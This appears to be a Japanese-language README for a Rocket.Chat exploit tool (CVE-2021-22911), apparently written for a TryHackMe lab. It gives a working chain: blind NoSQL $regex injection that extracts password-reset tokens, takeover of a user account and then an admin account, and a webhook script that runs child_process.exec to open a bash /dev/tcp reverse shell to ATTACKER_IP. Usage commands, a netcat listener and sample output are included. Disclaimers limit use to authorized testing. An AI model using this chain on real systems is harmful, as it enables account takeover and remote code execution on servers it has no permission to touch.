
CVE-2021-22911 Rocket.Chat NoSQLインジェクション RCEエクスプロイト - 教育目的
このエクスプロイトは、許可された侵入テストおよび教育目的のみで使用してください。コンピュータシステムへの不正アクセスは違法です。作者は誤用について一切責任を負いません。
CVE-2021-22911 は、Rocket.Chat における未認証の重大な NoSQL インジェクション脆弱性であり、リモートコード実行(RCE)につながります。
このエクスプロイトは、3 つの NoSQL インジェクション攻撃を組み合わせます。
$regex 演算子を使用し、パスワードリセットトークンを 1 文字ずつ抽出しますchild_process.exec() を使用してリバースシェルを起動しますpip install requests
nc -lvnp 4444
IP を手動入力する場合:
python3 rocket_chat_exploit.py \
-u [email protected] \
-a [email protected] \
-t http://chat.rocket.thm \
-i 10.9.0.1 \
-p 4444
tun0 の IP を自動検出する場合(推奨):
python3 rocket_chat_exploit.py \
-u [email protected] \
-a [email protected] \
-t http://chat.rocket.thm \
-i $(ip a show tun0 | grep "inet " | awk '{print $2}' | cut -d/ -f1) \
-p 4444
引数:
-u: 低権限ユーザーのメールアドレス(存在する必要があります)-a: 管理者メールアドレス-t: ターゲット URL(Rocket.Chat インスタンス)-i: 攻撃者の IP(tun0)-p: Netcat リスナーポート============================================================
Rocket.Chat CVE-2021-22911 — RCE
Target : http://chat.rocket.thm
Shell : 10.9.0.1:4444
============================================================
[PHASE 1] Low-priv user → [email protected]
[+] Password reset email sent → [email protected]
[*] Extracting reset token via blind NoSQL injection...
[43/43] aBcDeFgHiJkLmNoPqRsTuVwXyZ1234567890abcd
[+] Token: aBcDeFgHiJkLmNoPqRsTuVwXyZ1234567890abcd
[+] Password changed to: P@$$w0rd!1234
[PHASE 2] Admin user → [email protected]
[+] Password reset email sent → [email protected]
[*] Extracting reset token via blind NoSQL injection...
[43/43] XyZ9876543210aBcDeFgHiJkLmNoPqRsTuVwXyZ
[+] Token: XyZ9876543210aBcDeFgHiJkLmNoPqRsTuVwXyZ
[+] Password changed to: P@$$w0rd!1234
[PHASE 3] RCE
[!] Start your listener now: nc -lvnp 4444
[*] Press Enter when nc is ready...
[+] Authenticated as [email protected]
userid : userid123456789
token : token123456...
[+] Webhook created
http://chat.rocket.thm/hooks/hookid123/token456
[*] Triggering reverse shell...
[+] Trigger sent — check your nc listener
{
"message": {
"msg": "method",
"method": "getPasswordPolicy",
"params": [
{
"token": {
"$regex": "^abc"
}
}
]
}
}
class Script {
process_incoming_request({ request }) {
const require = console.log.constructor('return process.mainModule.require')();
const { exec } = require('child_process');
exec('bash -c "bash -i >& /dev/tcp/ATTACKER_IP/PORT 0>&1"');
}
}
このツールは、教育目的および許可されたセキュリティテスト専用に提供されます。コンピュータシステムへの不正アクセスは、コンピュータ詐欺及び濫用取締法(CFAA)およびこれに類似する国際法の下で犯罪行為となります。
責任を持って使用してください。自分が所有するシステム、または明示的な書面による許可を得たシステムのみテストしてください。